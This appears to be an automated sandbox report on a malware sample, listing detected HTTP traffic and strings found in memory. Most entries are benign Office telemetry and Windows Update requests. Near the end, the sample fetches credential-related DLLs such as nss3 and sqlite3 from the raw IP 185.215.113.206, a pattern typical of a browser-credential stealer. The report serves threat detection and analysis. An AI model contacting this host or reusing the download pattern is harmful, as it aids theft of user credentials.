Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=fpeLn3HEklfNRGL&MD=7a5MYNfU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: 6d6624cd-f27a-4acb-b89f-29d6aa7651e6.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log8.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log8.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log8.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000002.2354953713.00001FDC000C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
